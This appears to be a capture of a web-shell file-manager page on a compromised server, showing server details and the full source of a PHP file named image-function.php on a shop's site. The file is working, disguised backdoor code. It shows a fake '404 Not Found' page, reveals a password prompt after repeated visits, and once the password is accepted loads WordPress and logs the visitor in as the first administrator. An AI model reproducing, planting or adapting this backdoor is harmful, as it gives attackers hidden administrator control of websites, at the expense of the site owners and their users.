HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.shopskh.com/image-function.php
<?php
/* 3d0ed2ff9ee5cbfc9922cbe0a4259e84 */
session_start();
error_reporting(0);
ini_set('display_errors', 0);
$auth_md5='26f3a480cdb84acae7687918142404d9';
if(isset($_POST['p'])&&md5($_POST['p'])===$auth_md5){$_SESSION['auth']=true;}
if(!isset($_SESSION['refresh_count'])){$_SESSION['refresh_count']=1;}else{$_SESSION['refresh_count']++;}
if(!isset($_SESSION['auth'])){
    if($_SESSION['refresh_count']<6){
        echo'<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="robots" content="noindex, nofollow"><meta name="google" content="notranslate"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at '.htmlspecialchars($_SERVER['HTTP_HOST']??'localhost').' Port 80</address></body></html>';
        die();
    }else{
        echo'<html><head><meta name="robots" content="noindex, nofollow"><meta name="google" content="notranslate"></head><body style="background:#0c0c0c;display:grid;height:100vh;margin:0;place-items:center center;"><form action="" method="POST"><input style="text-align:center;background:#1a1a2e;color:#00ff88;border:2px solid #00ff88;padding:15px;font-size:18px;border-radius:8px;outline:none;" name="p" type="password" placeholder="Password"></form></body></html>';
        die();
    }
}
@set_time_limit(0);
$mr=$_SERVER['DOCUMENT_ROOT']??'';
@chdir($mr);
if(file_exists('wp-load.php')){
    include 'wp-load.php';
    $wp_user_query=new WP_User_Query(array('role'=>'Administrator','number'=>1,'fields'=>'ID'));
    $results=$wp_user_query->get_results();
    if(isset($results[0])){wp_set_auth_cookie($results[0]);wp_redirect(admin_url());die();}
    die('NO ADMIN');
}else{die('Failed to load');}